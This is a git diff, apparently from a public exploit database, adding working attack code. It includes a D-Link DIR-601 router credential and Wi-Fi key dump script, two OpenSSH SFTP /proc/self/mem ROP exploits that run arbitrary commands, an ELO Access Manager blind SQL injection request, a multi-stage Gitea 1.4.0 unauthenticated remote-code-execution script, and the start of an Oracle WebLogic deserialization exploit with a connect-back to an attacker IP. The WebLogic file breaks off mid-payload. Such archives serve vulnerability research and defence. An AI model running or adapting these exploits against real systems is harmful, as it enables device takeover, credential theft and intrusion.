diff --git a/exploits/hardware/webapps/45002.py b/exploits/hardware/webapps/45002.py
new file mode 100755
index 000000000..1b96bd294
--- /dev/null
+++ b/exploits/hardware/webapps/45002.py
@@ -0,0 +1,121 @@
+# Exploit title: D-Link DIR601 2.02NA - Credential disclosure
+# Date: 2018-07-10
+# Exploit Author: Richard Rogerson
+# Vendor Homepage: http://ca.dlink.com/
+# Software Link: http://support.dlink.ca/ProductInfo.aspx?m=DIR-601
+# Version: <= 2.02NA
+# Tested on: D-Link DIR601 Firmware 2.02NA
+# Contact: http://twitter.com/pktlabs
+# Website: https://www.packetlabs.net
+# CVE: N/A
+# Category: Webapps, Remote
+
+
+# 1. Description:
+# Through analyzing the Captcha function implemented in the DIR-601 (2.02NA firmware),
+# a HTTP request was found responsible for the handoff to client-side code.
+# Inspecting the HTTP requests, it was identified that a parameter named ‘table_name’
+# is used to instruct the back-end application which content to return. By abusing this
+# request, it was found possible to retrieve sensitive information relating to the device
+# configuration and administrative credentials.
+
+# It is possible to modify the HTTP POST to my_cgi.cgi and include as table_name references
+# to retrieve the administrative credentials, wireless ssid, and pre-shared key where
+# applicable. Enumerating the naming conventions within the client-side code, it was
+# determined that a number of potentially sensitive parameters/tables exist in the
+# back-end environment which provide significant value if retrieved, four of these include:
+
+# - Admin_user
+# - Wireless_settings
+# - Wireless_security
+# - Wireless_wpa_settings
+
+Sample of the vulnerable POST request:
+
+HTTP Request
+POST /my_cgi.cgi HTTP/1.1
+Host: 192.168.0.1
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+Referer: http://192.168.0.1/login_real.htm
+Content-Length: 86
+Connection: close
+Pragma: no-cache
+Cache-Control: no-cache
+
+request=no_auth&request=load_settings&table_name=create_auth_pic&table_name=admin_user <- additional table requested
+
+Sample response:
+
+HTTP Response
+HTTP/1.1 200 OK
+Content-type: text/xml
+Connection: close
+Date: Sat, 01 Jan 2011 00:57:12 GMT
+Server: lighttpd/1.4.28
+Content-Length: 228
+
+150649adminclear-text-password1
+
+
+# 2. Exploit Code:
+
+#!/usr/bin/python
+import socket,sys,urllib,urllib2
+import xml.etree.ElementTree as ET
+
+print """Packetlabs
+====================================
+D-Link DIR-601 Authorization Bypass
+"""
+if len(sys.argv) != 2:
+ print "usage:",sys.argv[0],""
+ sys.exit()
+else:
+ ipaddr=sys.argv[1]
+ print "Retrieving admin username, password and wireless security configuration from",ipaddr
+
+# build URL
+url = 'http://'
+url+= ipaddr
+url+='/my_cgi.cgi'
+data = "request=no_auth&request=load_settings&table_name=admin_user&table_name=user_user&table_name=wireless_settings&table_name=wireless_security&table_name=wireless_wpa_settings"
+
+# send payload
+req = urllib2.Request(url, data)
+response = urllib2.urlopen(req)
+print "Sending payload to:",response.geturl()
+retr = response.read()
+root = ET.fromstring(retr)
+
+# credential dump
+print "\r\nAdmin Creds"
+print "username:",root[0][0].text
+print "password:",root[0][1].text
+
+# dump wireless settings
+print "\r\nWireless Settings"
+sectype=int(root[3][0].text)
+ssid=root[2][2].text
+enctype="none"
+
+print "SSID is:", ssid
+if sectype == 2:
+ enctype="WPA2"
+ key=root[4][3].text
+elif sectype == 1:
+ enctype="WEP("
+ keylength=int(root[3][3].text)
+ if keylength == 5:
+ enctype+="64bit)"
+ key=root[3][5].text
+ elif keylength == 13:
+ enctype+="128bit)"
+ key=root[3][9].text
+ else:
+ key="Error, please inspect xml manually above, keylength=",keylength
+ print retr
+elif sectype == 0:
+ print "Wireless network is open?"
+ sys.exit()
+
+print enctype,"key is:",key
\ No newline at end of file
diff --git a/exploits/linux/remote/45001.py b/exploits/linux/remote/45001.py
new file mode 100755
index 000000000..71ed3935a
--- /dev/null
+++ b/exploits/linux/remote/45001.py
@@ -0,0 +1,114 @@
+# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux
+# The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35
+#
+# Adam Simuntis :: https://twitter.com/adamsimuntis
+# Mindaugas Slusnys :: https://twitter.com/mislusnys
+
+import paramiko
+import sys
+import time
+from pwn import *
+
+# parameters
+cmd = 'touch /tmp/pwn; touch /tmp/pwn2'
+host = '172.16.15.59'
+port = 22
+username = 'secforce'
+password = 'secforce'
+
+# connection
+ssh = paramiko.SSHClient()
+ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+ssh.connect(hostname = host, port = port, username = username, password = password)
+sftp = ssh.open_sftp()
+
+# parse /proc/self/maps to get addresses
+log.info("Analysing /proc/self/maps on remote system")
+sftp.get('/proc/self/maps','maps')
+with open("maps","r") as f:
+ lines = f.readlines()
+ for line in lines:
+ words = line.split()
+ addr = words[0]
+ if ("libc" in line and "r-xp" in line):
+ path = words[-1]
+ addr = addr.split('-')
+ BITS = 64 if len(addr[0]) > 8 else 32
+ print "[+] {}bit libc mapped @ {}-{}, path: {}".format(BITS, addr[0], addr[1], path)
+ libc_base = int(addr[0], 16)
+ libc_path = path
+ if ("[stack]" in line):
+ addr = addr.split("-")
+ saddr_start = int(addr[0], 16)
+ saddr_end = int(addr[1], 16)
+ print "[+] Stack mapped @ {}-{}".format(addr[0], addr[1])
+
+# download remote libc and extract information
+print "[+] Fetching libc from remote system..\n"
+sftp.get(str(libc_path), 'libc.so')
+e = ELF("libc.so")
+sys_addr = libc_base + e.symbols['system']
+exit_addr = libc_base + e.symbols['exit']
+
+# gadgets for the RET slide and system()
+if BITS == 64:
+ pop_rdi_ret = libc_base + next(e.search('\x5f\xc3'))
+ ret_addr = pop_rdi_ret + 1
+else:
+ ret_addr = libc_base + next(e.search('\xc3'))
+
+print "\n[+] system() @ {}".format(hex(sys_addr))
+print "[+] 'ret' @ {}".format(hex(ret_addr))
+if BITS == 64:
+ print "[+] 'pop rdi; ret' @ {}\n".format(hex(pop_rdi_ret))
+
+with sftp.open('/proc/self/mem','rw') as f:
+ if f.writable():
+ print "[+] We have r/w permissions for /proc/self/mem! All Good."
+ else:
+ print "[-] Fatal error. No r/w permission for mem."
+ sys.exit(0)
+
+ log.info("Patching /proc/self/mem on the remote system")
+
+ stack_size = saddr_end - saddr_start
+ new_stack = ""
+
+ print "[+] Pushing new stack to {}.. fingers crossed ;))".format(hex(saddr_start))
+ #sleep(20)
+ if BITS == 32:
+ new_stack += p32(ret_addr) * (stack_size/4)
+ new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-12]
+ new_stack += p32(sys_addr)
+ new_stack += p32(exit_addr)
+ new_stack += p32(saddr_start)
+ else:
+ new_stack += p64(ret_addr) * (stack_size/8)
+ new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-32]
+ new_stack += p64(pop_rdi_ret)
+ new_stack += p64(saddr_start)
+ new_stack += p64(sys_addr)
+ new_stack += p64(exit_addr)
+
+ # debug info
+ with open("fake_stack","w") as lg:
+ lg.write(new_stack)
+
+ # write cmd to top off the stack
+ f.seek(saddr_start)
+ f.write(cmd + "\x00")
+
+ # write the rest from bottom up, we're going to crash at some point
+ for off in range(stack_size - 32000, 0, -32000):
+ cur_addr = saddr_start + off
+
+ try:
+ f.seek(cur_addr)
+ f.write(new_stack[off:off+32000])
+ except:
+ print "Stack write failed - that's probably good!"
+ print "Check if you command was executed..."
+ sys.exit(0)
+
+sftp.close()
+ssh.close()
\ No newline at end of file
diff --git a/exploits/linux/webapps/44970.txt b/exploits/linux/webapps/44970.txt
deleted file mode 100644
index a7ecf13d6..000000000
--- a/exploits/linux/webapps/44970.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-# Exploit Title: ModSecurity 3.0.0 - Cross-Site Scripting
-# Date: 2018-07-02
-# Vendor Homepage: https://www.modsecurity.org
-# Software: ModSecurity
-# Category: Web Application Firewall
-# Exploit Author: Adipta Basu
-# Tested on: Mac OS High Sierra
-# CVE: N/A
-# Description: ModSecurity 3.0.0 has XSS via an onError attribute of an IMG element
-
-# Details:
-# After doing source code analysis, I found that if
-# is passed as a parameter, a pop-up is obtained. This is because the filter flags
-# terms like "script","alert",etc. Moreover it also flags if there is a string placed
-# inside the first bracket. That is why I had to use 111. However document.cookie when
-# passed works fine.
-
-Reproduction Steps:
-
- - Use
or
\ No newline at end of file
diff --git a/exploits/linux/webapps/44999.txt b/exploits/linux/webapps/44999.txt
new file mode 100644
index 000000000..6f0845758
--- /dev/null
+++ b/exploits/linux/webapps/44999.txt
@@ -0,0 +1,57 @@
+# Title: Elektronischer Leitz-Ordner 10 - SQL Injection
+# Author: Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG
+# Software: https://www.elo.com/en-de/
+# CVE: N/A
+# Affected Products:
+# ELOenterprise 10 (ELO Access Manager <= 10.17.120)
+# ELOenterprise 9 (ELO Access Manager <= 9.17.120)
+# ELOprofessional 10 (ELO Access Manager <= 10.17.120)
+# ELOprofessional 9 (ELO Access Manager <= 9.17.120)
+
+
+
+# Description:
+# ELO is a commercial software product for managing documents and
+# electronic content. Storage and organization is similar to classic
+# paper-based document management. ELO belongs to the category of document
+# management (DMS) and enterprise content management systems (ECM). DMS
+# and ECM systems enable audit-proof archiving of documents and
+# information requiring storage.
+
+# We have discovered a time-based blind SQL injection vulnerability in the
+# ELO Access Manager (<= 9.17.120 and <= 10.17.120) component that makes
+# it possible to read all database content. The vulnerability exists in
+# the HTTP GET parameter "ticket". For example, we succeeded in reading
+# the password hash of the administrator user in the "userdata" table from
+# the "eloam" database.
+
+# Proof of Concept:
+
+GET
+/wf-NAME/social/api/feed/aggregation/201803310000?ticket=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
+IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
+NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
+(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
+name),5,1))>104) WAITFOR DELAY '0:0:1'--
+qvAV&after=1523013041889&lang=de&_dc=1523013101769 HTTP/1.1
+Accept-Encoding: gzip,deflate
+Connection: close
+Accept: */*
+Host: server:9090
+Referer: http://server:9090/wf-NAME/social/api/feed/aggregation/201803310000
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv: 59.0) Gecko/20100101
+Firefox/59.0
+
+HTTP/1.1 401 Unauthorized
+Server: Apache-Coyote/1.1
+Content-Type: application/json;charset=UTF-8
+Content-Length: 410
+Date: Fri, 06 Apr 2018 11:57:15 GMT
+Connection: close
+
+{"error":{"code":401,"message":"[TICKET:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0027
+IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
+NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
+(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
+name),5,1))\u003e104) WAITFOR DELAY \u00270][ELOIX:2001]Sitzungskennung
+ung..ltig oder abgelaufen. Melden Sie sich neu an.[NO-DETAILS]"}}
\ No newline at end of file
diff --git a/exploits/linux_x86-64/remote/45000.c b/exploits/linux_x86-64/remote/45000.c
new file mode 100644
index 000000000..f02d18937
--- /dev/null
+++ b/exploits/linux_x86-64/remote/45000.c
@@ -0,0 +1,196 @@
+#define _GNU_SOURCE
+
+// THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
+// TRY TO ATTACK BACK, THE CODE IS SLOPPY!
+// (In other words, please don't use this against other people's machines.)
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define min(a,b) (((a)<(b))?(a):(b))
+
+sftp_session sftp;
+
+size_t grab_file(char *rpath, char **out) {
+ size_t allocated = 4000, used = 0;
+ *out = calloc(1, allocated+1);
+ sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
+ if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
+ while (1) {
+ ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
+ if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
+ if (nbytes == 0) {
+ (*out)[used] = '\0';
+ sftp_close(f);
+ return used;
+ }
+ used += nbytes;
+ if (used == allocated) {
+ allocated *= 4;
+ *out = realloc(*out, allocated);
+ }
+ }
+}
+
+void dump_file(char *name, void *buf, size_t len) {
+ FILE *f = fopen(name, "w+");
+ if (!f) perror("can't write to local file"), exit(1);
+ if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
+ if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
+}
+
+size_t slurp_file(char *path, char **out) {
+ size_t allocated = 4000, used = 0;
+ *out = calloc(1, allocated+1);
+ FILE *f = fopen(path, "r");
+ if (f == NULL) perror("opening local file failed"), exit(1);
+ while (1) {
+ ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
+ if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
+ if (nbytes == 0) {
+ (*out)[used] = '\0';
+ if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
+ return used;
+ }
+ used += nbytes;
+ if (used == allocated) {
+ allocated *= 4;
+ *out = realloc(*out, allocated);
+ }
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
+ char *target_host = argv[1];
+ char *target_user = argv[2];
+ char *shell_commands = argv[3];
+
+ ssh_session my_ssh_session;
+ int rc;
+ char *password;
+ // Open session and set options
+ my_ssh_session = ssh_new();
+ if (my_ssh_session == NULL) exit(-1);
+ ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
+ ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
+ // Connect to server
+ rc = ssh_connect(my_ssh_session);
+ if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
+
+ // Authenticate ourselves
+ password = getpass("Password: ");
+ rc = ssh_userauth_password(my_ssh_session, NULL, password);
+ if (rc != SSH_AUTH_SUCCESS)
+ fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
+
+ sftp = sftp_new(my_ssh_session);
+ if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
+
+ rc = sftp_init(sftp);
+ if (rc != SSH_OK) {
+ fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
+ sftp_free(sftp);
+ return rc;
+ }
+
+ char *mappings;
+ grab_file("/proc/self/maps", &mappings);
+ //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
+
+ printf("got /proc/self/maps. looking for libc...\n");
+ // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so
+ long long start_addr, end_addr, offset;
+ char *libc_path = NULL;
+ long long stack_start_addr = 0, stack_end_addr;
+ for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
+ if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
+ if (libc_path) fprintf(stderr, "warning: two times libc?\n");
+ printf("mapping line: %s\n", p);
+ if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
+ libc_path = strdup(strchr(p, '/'));
+ if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
+ }
+ if (strstr(p, "[stack]")) {
+ if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
+ printf("mapping line: %s\n", p);
+ if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
+ }
+ }
+ if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
+ if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
+ printf("remote libc is at %s\n", libc_path);
+ printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);
+
+ char *libc;
+ size_t libc_size = grab_file(libc_path, &libc);
+ dump_file("libc.so", libc, libc_size);
+ printf("downloaded libc, size is %zu bytes\n", libc_size);
+
+ system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
+ char *system_offset_str;
+ slurp_file("system.addr", &system_offset_str);
+ long long system_offset;
+ if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
+ long long remote_system_addr = start_addr+system_offset-offset;
+ printf("remote system() function is at %Lx\n", remote_system_addr);
+
+ printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
+ char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
+ if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
+ long long gadget_address = start_addr + (gadget-(libc+offset));
+ long long ret_address = gadget_address+1;
+ printf("found gadget at %Lx\n", gadget_address);
+
+ printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
+ printf("doing it the quick-and-dirty way (that means: pray that the target"
+ "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
+ long long stack_len = stack_end_addr - stack_start_addr;
+ /*if (stack_len > 32000) {
+ stack_len = 32000;
+ stack_start_addr = stack_end_addr - stack_len;
+ }*/
+ char *new_stack = malloc(stack_len);
+
+ // first fill it with our ret slide
+ for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
+ *s = ret_address;
+ }
+
+ // put some shell commands in the head
+ strcpy(new_stack, shell_commands);
+
+ // put the mini-ROP-chain at the end
+ // [address of pop rdi] [stack head] [address of system]
+ long long *se = (void*)(new_stack + stack_len);
+ se[-3] = gadget_address;
+ se[-2] = stack_start_addr;
+ se[-1] = remote_system_addr;
+
+ printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
+ sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
+ if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
+
+ // first send over the string
+ rc = sftp_seek64(mem, stack_start_addr);
+ if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
+ ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
+ if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
+
+ // now send over the rest right-to-left
+ for (long long off = stack_len-32000; off >= 0; off -= 32000) {
+ rc = sftp_seek64(mem, stack_start_addr+off);
+ if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
+ mem_written = sftp_write(mem, new_stack+off, 32000);
+ if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/exploits/multiple/webapps/44996.py b/exploits/multiple/webapps/44996.py
new file mode 100755
index 000000000..d52d512a7
--- /dev/null
+++ b/exploits/multiple/webapps/44996.py
@@ -0,0 +1,200 @@
+# pip install PyJWT requests
+# pip install dulwich==0.19.0
+from requests import Request, Session, get, post
+import jwt
+import time
+import base64
+import os
+import re
+import time
+import threading
+import random
+import string
+import urlparse
+import urllib
+from dulwich import porcelain
+
+print "Gitea 1.4.0"
+print "Unauthenticated Remote Code Execution"
+print "by Kacper Szurek"
+print "https://security.szurek.pl/"
+print "https://twitter.com/KacperSzurek"
+print "https://www.youtube.com/c/KacperSzurek"
+
+def decode_base64(data):
+ missing_padding = len(data) % 4
+ if missing_padding != 0:
+ data += '='* (4 - missing_padding)
+ return base64.urlsafe_b64decode(data)
+
+def get_random():
+ return ''.join(random.choice(string.lowercase) for x in range(6))
+
+def get_csrf(path):
+ temp = s.get("{}{}".format(url, path))
+
+ content = temp.text.encode("utf-8")
+
+ csrf = re.search('name="_csrf" content="([^"]+)"', content)
+
+ if not csrf:
+ print "[-] Cannot get CSRF token"
+ os._exit(0)
+
+ return csrf.group(1)
+
+command = "whoami"
+url = 'http://192.168.1.103:3000/'
+session_value = '11session'
+
+r = get('{}api/v1/repos/search?limit=1'.format(url))
+try:
+ out = r.json()['data']
+except:
+ print "[-] Probably not gitea url"
+ os._exit(0)
+
+if len(out) != 1:
+ print "[-] There is no public repos"
+ os._exit(0)
+
+out = out[0]
+
+public_repo_id = int(out['id'])
+public_user_id = int(out['owner']['id'])
+public_repo_url = out['full_name']
+
+print "[+] Found public repo {} ID {}".format(public_repo_url, public_repo_id)
+
+json = {
+ "Oid": "....custom/conf/app.ini",
+ "Size": 1000000, # This needs to be bigger than file
+ "User" : "a",
+ "Password" : "a",
+ "Repo" : "a",
+ "Authorization" : "a"
+}
+
+s = Session()
+
+r = s.post('{}{}.git/info/lfs/objects'.format(url, public_repo_url), json=json, headers={'Accept': 'application/vnd.git-lfs+json'})
+if '"Unauthorized"' not in r.text or '"expires_at"' not in r.text:
+ print "[-] Cannot create fake OID for app.ini"
+ os._exit(0)
+
+print "[+] Fake OID for app.ini created"
+
+r = get(r'{}{}.git/info/lfs/objects/....custom%2fconf%2fapp.ini/sth'.format(url, public_repo_url))
+
+if "RUN_USER" not in r.text:
+ print "[-] Cannot get app.ini"
+ os._exit(0)
+
+
+secret_match = re.search('LFS_JWT_SECRET *= *(.*?)[\r\n]', r.text)
+if not secret_match:
+ print "[-] Cannot find JWT secret in app.ini"
+ os._exit(0)
+
+jwt_secret = str(secret_match.group(1).strip())
+print "[+] Found secret: {}-".format(jwt_secret)
+jwt_secret = decode_base64(jwt_secret)
+
+# This needs to be INT, not STR
+current_time = int(time.time())-(60*60*24*1000)
+current_time2 = int(time.time())+(60*60*24*1000)
+token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': current_time2, 'nbf': current_time}, jwt_secret, algorithm='HS256')
+
+print "[+] Generate jwt token for user {} and repo {}".format(public_user_id, public_repo_id)
+print token
+
+json['Oid'] = '....data/sessions/1/1/{}'.format(session_value)
+
+r = s.post('{}{}.git/info/lfs/objects'.format(url, public_repo_url), json=json, headers={'Accept': 'application/vnd.git-lfs+json'})
+if '"Unauthorized"' not in r.text or '"expires_at"' not in r.text:
+ print "[-] Cannot create fake OID for session"
+ os._exit(0)
+
+print "[+] Fake OID for session created"
+
+def race_condition_thread():
+ print "\n[+] Race condition thread started"
+ ts = Session()
+ req = Request('PUT', r'{}{}.git/info/lfs/objects/....data%2fsessions%2f1%2f1%2f{}'.format(url, public_repo_url, session_value) , data=open('session.tmp', "rb").read())
+ prepped = req.prepare()
+ # We need to set explicit big content length for race condition
+ prepped.headers['Content-Length'] = 150000
+ prepped.headers['Accept'] = 'application/vnd.git-lfs'
+ prepped.headers['Content-Type'] = 'application/vnd.git-lfs'
+ prepped.headers['Authorization'] = 'Bearer {}'.format(token)
+ # This will hang because of big Content-Length
+ response = ts.send(prepped)
+ print "\n[-] Race condition thread ended before exploit finish, try again"
+
+thread = threading.Thread(target=race_condition_thread, args=())
+thread.daemon = True
+thread.start()
+print "\n[+] Sleep 5 seconds"
+time.sleep(5)
+
+print "[+] Try using fake cookie: {}".format(session_value)
+
+s = Session()
+s.headers.update({'Cookie': 'i_like_gitea={}.tmp;'.format(session_value)})
+
+r = s.get('{}api/v1/user'.format(url))
+data = r.json()
+
+if not "id" in data or data['id'] != 1:
+ print "[-] Impersonation failed"
+ os._exit(0)
+
+user_name = data['login']
+user_id = data['id']
+
+print "[+] Login as {} ID {}".format(user_name, user_id)
+
+csrf = get_csrf('user/settings/applications')
+post_token = s.post('{}user/settings/applications'.format(url), data={'_csrf':csrf, 'name':get_random()}, allow_redirects=False)
+
+try:
+ login_token = post_token.cookies['macaron_flash']
+ login_token = dict(urlparse.parse_qsl(urllib.unquote(login_token)))
+ login_token = login_token['info']
+except:
+ print "[-] Cannot create token"
+ os._exit(0)
+
+print "[+] Login token: {}".format(login_token)
+
+csrf = get_csrf('repo/create')
+admin_repo_name = get_random()
+
+print "[+] Try create repo {}".format(admin_repo_name)
+
+repo_post = s.post("{}repo/create".format(url), data={'_csrf':csrf, 'uid':user_id, 'repo_name':admin_repo_name, 'readme': 'Default', 'auto_init':'on'}, allow_redirects=False)
+
+if repo_post.status_code != 302:
+ print "[-] Cannot create admin repo"
+ os._exit(0)
+
+csrf = get_csrf('{}/{}/settings/hooks/git/update'.format(user_name, admin_repo_name))
+hook_posts = s.post('{}{}/{}/settings/hooks/git/update'.format(url, user_name, admin_repo_name), data={'_csrf':csrf, 'content':"#!/bin/sh\n{}>objects/info/exploit".format(command)}, allow_redirects=False)
+
+if hook_posts.status_code != 302:
+ print "[-] Cannot updatehook"
+ os._exit(0)
+
+clone_url = '{}{}:{}@{}{}/{}.git'.format(url[0:7], login_token, "", url[7:], user_name, admin_repo_name)
+
+temp_repo_dir = get_random()
+r = porcelain.clone(clone_url, temp_repo_dir)
+porcelain.commit(r, get_random())
+porcelain.push(r, clone_url, "master")
+
+command_output = s.get('{}{}/{}/objects/info/exploit'.format(url, user_name, admin_repo_name))
+if command_output.status_code != 200:
+ print "[-] Cannot get exploit output"
+ os._exit(0)
+
+print command_output.text.encode("utf-8")
\ No newline at end of file
diff --git a/exploits/multiple/webapps/44998.py b/exploits/multiple/webapps/44998.py
new file mode 100755
index 000000000..49f9c3bf5
--- /dev/null
+++ b/exploits/multiple/webapps/44998.py
@@ -0,0 +1,146 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+from argparse import RawTextHelpFormatter
+import socket, argparse, subprocess, ssl, os.path
+
+HELP_MESSAGE = '''
+--------------------------------------------------------------------------------------
+Developped by bobsecq: quentin.hardy@protonmail.com (quentin.hardy@bt.com)
+
+This script is the first public exploit/POC for:
+- Exploiting CVE-2017-3248 (Oracle WebLogic RMI Registry UnicastRef Object Java Deserialization Remote Code Execution)
+- Checking if a weblogic server is vulnerable
+
+This script needs the last version of Ysoserial (https://github.com/frohoff/ysoserial)
+
+Version affected (according to Oracle):
+- 10.3.6.0
+- 12.1.3.0
+- 12.2.1.0
+- 12.2.1.1
+--------------------------------------------------------------------------------------
+'''
+'''
+Tested on 12.1.2.0
+
+For technical information, see:
+- https://www.tenable.com/security/research/tra-2017-07
+- http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
+
+Vulnerability identified by Jacob Baines (Tenable Network Security)
+but exploit/POC has not been published!
+'''
+
+#COMMANDS
+ARGS_YSO_GET_PAYLOD = "JRMPClient {0}:{1} |xxd -p| tr -d '\n'" #{0}: IP, {1}: port for connecting 'back' (i.e. attacker IP)
+CMD_GET_JRMPCLIENT_PAYLOAD = "java -jar {0} {1}"# {0} YSOSERIAL_PATH, {1}ARGS_YSO_GET_PAYLOD
+CMD_YSO_LISTEN = "java -cp {0} ysoserial.exploit.JRMPListener {1} {2} '{3}'"# {0} YSOSERIAL_PATH, {1}PORT, {2}payloadType, {3}command
+
+#PAYLOADS
+#A. Packet 1 to send:
+payload_1 = '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'
+#B. Packet 2 to send:
+payload_2 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a5